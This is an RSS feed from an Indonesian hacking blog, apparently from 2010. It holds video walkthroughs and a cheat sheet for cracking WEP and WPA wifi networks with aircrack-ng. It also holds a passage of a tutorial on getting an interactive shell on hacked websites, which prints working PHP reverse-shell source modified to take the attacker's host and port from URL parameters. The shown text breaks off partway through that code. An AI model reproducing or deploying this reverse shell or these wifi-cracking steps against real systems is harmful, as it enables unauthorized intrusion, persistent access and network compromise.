<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Ilmu Hacking</title>
	
	<link>http://www.ilmuhacking.com</link>
	<description>Hackingology, Computer Security Blog</description>
	<lastBuildDate>Wed, 04 Aug 2010 04:09:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ilmuhacking" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="ilmuhacking" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>[Videos] Applying WiFu Cheat Sheet</title>
		<link>http://www.ilmuhacking.com/how-to/videos-applying-wifu-cheat-sheet/</link>
		<comments>http://www.ilmuhacking.com/how-to/videos-applying-wifu-cheat-sheet/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 04:07:00 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2351</guid>
		<description><![CDATA[Agar lebih mudah memahami pemakaian WiFu Cheat Sheet, saya membuat 4 video tutorial untuk masing-masing skenario, yaitu WEP SKA, WEP OSA, Clientless WEP dan WPA/WPA2 PSK. Dalam video saya memasukkan MAC address access point, MAC address komputer yang menjalankan backtrack dan MAC address salah satu client yang terkoneksi ke access point ke dalam file macaddress.sh [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Agar lebih mudah memahami pemakaian WiFu Cheat Sheet, saya membuat 4 video tutorial untuk masing-masing skenario, yaitu WEP SKA, WEP OSA, Clientless WEP dan WPA/WPA2 PSK.</p>
<p style="text-align: justify;">Dalam video saya memasukkan MAC address access point, MAC address komputer yang menjalankan backtrack dan MAC address salah satu client yang terkoneksi ke access point ke dalam file macaddress.sh untuk menyederhanakan video. Informasi MAC address access point dan MAC address client bisa didapatkan dengan menjalankan &#8220;airodump-ng wlan0&#8243; , sedangkan informasi MAC address komputer sendiri bisa didapatkan dengan menjalankan &#8220;macchanger -s wlan0&#8243;.</p>
<p><strong>Clientless WEP</strong></p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/pDXKTE1qKkM&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/pDXKTE1qKkM&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p><span id="more-2351"></span></p>
<p><strong>WEP Shared Key Authentication</strong></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/KvyRR2NLoGs&amp;hl=en_US&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/KvyRR2NLoGs&amp;hl=en_US&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><strong>WEP Open System Authentication</strong><br />
<object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/NtX1exmZMm0&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/NtX1exmZMm0&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p><strong>WPA/WPA2 Pre-Shared-Key</strong></p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/4uR8_aclO5Q&amp;hl=en_US&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/4uR8_aclO5Q&amp;hl=en_US&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=90jMLLRHQjM:divPkNY00wM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=90jMLLRHQjM:divPkNY00wM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=90jMLLRHQjM:divPkNY00wM:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=90jMLLRHQjM:divPkNY00wM:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/videos-applying-wifu-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>WiFu Cheat Sheet</title>
		<link>http://www.ilmuhacking.com/how-to/wifu-cheat-sheet/</link>
		<comments>http://www.ilmuhacking.com/how-to/wifu-cheat-sheet/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 07:24:09 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2335</guid>
		<description><![CDATA[Saya baru membuat cheat sheet yang cukup padat namun singkat untuk hacking wireless network dengan Aircrack-ng . Aircrack-ng adalah kumpulan tools yang digunakan untuk melakukan hacking terhadap jaringan wireless. Tools yang termasuk dalam aircrack-ng antara lain: airmon-ng, airodump-ng, aireplay-ng, packetforge-ng, aircrack-ng dan masih banyak lagi lainnya. Pre-requisite: Backtrack, nggak harus tapi very recommended Wireless adapter [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Saya baru membuat cheat sheet yang cukup padat namun singkat untuk hacking wireless network dengan Aircrack-ng . Aircrack-ng adalah kumpulan tools yang digunakan untuk melakukan hacking terhadap jaringan wireless. Tools yang termasuk dalam aircrack-ng antara lain: airmon-ng, airodump-ng, aireplay-ng, packetforge-ng, aircrack-ng dan masih banyak lagi lainnya.</p>
<p>Pre-requisite:</p>
<ul>
<li>Backtrack, nggak harus tapi very recommended</li>
<li style="text-align: justify;">Wireless adapter dengan kemampuan packet injection. Saya pakai Alfa AWUS036H karena jangkauannya sangat jauh dan works out of the box di backtrack. Daftar lengkap wireless adapter yang compatible dengan backtrack bisa dilihat di daftar ini <a href="http://backtrack.offensive-security.com/index.php/HCL:Wireless">HCL: Wireless</a>.</li>
</ul>
<p style="text-align: justify;">Cheat sheet ini mengcover sebagian besar kemungkinan situasi di dunia nyata. Skenario jaringan wireless yang bisa dihack dengan mengikuti cheat sheet ini adalah:</p>
<ul>
<li>WEP open authentication dengan client atau tanpa client (clientless WLAN)</li>
<li>WEP shared key authentication (minimal harus ada 1 client)</li>
<li>WPA/WPA2 Pre Shared Key (minimal harus ada 1 client)</li>
</ul>
<p style="text-align: justify;">Hampir semua jaringan wireless yang ada sekarang masuk dalam 3 kemungkinan di atas. Jaringan dengan WEP, praktis bisa dihack semua. Jaringan dengan WPA/WPA2 bisa dihack dengan dictionary attack, jadi sangat tergantung daftar password yang dimiliki. Dalam cheat sheet saya juga menyertakan cara menggunakan john the ripper untuk generate password list atau melakukan modifikasi daftar password dasar menjadi kata baru berdasarkan aturan tertentu.</p>
<p>Oke, selanjutnya langsung saja download cheat sheetnya: <a href="/wp-content/uploads/2010/07/wifu-cheat-sheet.pdf">WiFu Cheat Sheet 1.0</a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=M1SUhFMwH5s:YmT4n7ACQ7Q:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=M1SUhFMwH5s:YmT4n7ACQ7Q:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=M1SUhFMwH5s:YmT4n7ACQ7Q:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=M1SUhFMwH5s:YmT4n7ACQ7Q:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/wifu-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Reverse Connecting Shell di PHP</title>
		<link>http://www.ilmuhacking.com/how-to/reverse-connecting-shell-di-php/</link>
		<comments>http://www.ilmuhacking.com/how-to/reverse-connecting-shell-di-php/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 06:54:07 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2267</guid>
		<description><![CDATA[Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif. Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.</p>
<p style="text-align: justify;">Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.</p>
<p><span id="more-2267"></span></p>
<p style="text-align: justify;"><strong>Reverse Shell PHP di Linux<br />
</strong></p>
<p style="text-align: justify;">Saya memakai reverse shell php dari situs <a href="http://pentestmonkey.net/tools/php-reverse-shell/">pentestmonkey.net</a> dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.</p>
<p style="text-align: justify;">Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">set_time_limit</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$VERSION</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1.0&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'127.0.0.1'</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// CHANGE THIS</span>
<span style="color: #000088;">$port</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1234</span><span style="color: #339933;">;</span>       <span style="color: #666666; font-style: italic;">// CHANGE THIS</span>
<span style="color: #000088;">$chunk_size</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1400</span><span style="color: #339933;">;</span></pre></div></div>

<p style="text-align: justify;">Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">set_time_limit</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$VERSION</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1.0&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$port</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$chunk_size</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1400</span><span style="color: #339933;">;</span></pre></div></div>

<p style="text-align: justify;">Jadi source code lengkap rs.php adalah sebagai berikut:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">set_time_limit</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$VERSION</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;1.0&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ip&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$port</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;port&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$chunk_size</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1400</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$write_a</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$error_a</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$shell</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/bin/bash -p -i'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$daemon</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$debug</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'pcntl_fork'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #666666; font-style: italic;">// Fork and have the parent process exit</span>
	<span style="color: #000088;">$pid</span> <span style="color: #339933;">=</span> pcntl_fork<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$pid</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Can't fork&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$pid</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// Parent exits</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// Make the current process a session leader</span>
	<span style="color: #666666; font-style: italic;">// Will only succeed if we forked</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">posix_setsid</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Error: Can't setsid()&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000088;">$daemon</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
	printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;WARNING: Failed to daemonise.  This is quite common and not fatal.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Change to a safe directory</span>
<span style="color: #990000;">chdir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Remove any umask we inherited</span>
<span style="color: #990000;">umask</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$sock</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fsockopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #339933;">,</span> <span style="color: #000088;">$port</span><span style="color: #339933;">,</span> <span style="color: #000088;">$errno</span><span style="color: #339933;">,</span> <span style="color: #000088;">$errstr</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">30</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$errstr</span> (<span style="color: #006699; font-weight: bold;">$errno</span>)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Spawn shell process</span>
<span style="color: #000088;">$descriptorspec</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
   <span style="color: #cc66cc;">0</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;pipe&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>  <span style="color: #666666; font-style: italic;">// stdin is a pipe that the child will read from</span>
   <span style="color: #cc66cc;">1</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;pipe&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>  <span style="color: #666666; font-style: italic;">// stdout is a pipe that the child will write to</span>
   <span style="color: #cc66cc;">2</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;pipe&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span>   <span style="color: #666666; font-style: italic;">// stderr is a pipe that the child will write to</span>
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$process</span> <span style="color: #339933;">=</span> <span style="color: #990000;">proc_open</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$shell</span><span style="color: #339933;">,</span> <span style="color: #000088;">$descriptorspec</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pipes</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_resource</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$process</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Can't spawn shell&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Set everything to non-blocking</span>
<span style="color: #666666; font-style: italic;">// Reason: Occsionally reads will block, even though stream_select tells us they won't</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">stream_set_blocking</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Successfully opened reverse shell to <span style="color: #006699; font-weight: bold;">$ip</span>:<span style="color: #006699; font-weight: bold;">$port</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #666666; font-style: italic;">// Check for end of TCP connection</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">feof</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Shell connection terminated&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// Check for end of STDOUT</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">feof</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ERROR: Shell process terminated&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// Wait until a command is end down $sock, or some</span>
	<span style="color: #666666; font-style: italic;">// command output is available on STDOUT or STDERR</span>
	<span style="color: #000088;">$read_a</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pipes</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$num_changed_sockets</span> <span style="color: #339933;">=</span> <span style="color: #990000;">stream_select</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$read_a</span><span style="color: #339933;">,</span> <span style="color: #000088;">$write_a</span><span style="color: #339933;">,</span> <span style="color: #000088;">$error_a</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// If we can read from the TCP socket, send</span>
	<span style="color: #666666; font-style: italic;">// data to process's STDIN</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$read_a</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$debug</span><span style="color: #009900;">&#41;</span> printit<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SOCK READ&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$input</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sock</span><span style="color: #339933;">,</span> <span style="color: #000088;">$chunk_size</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
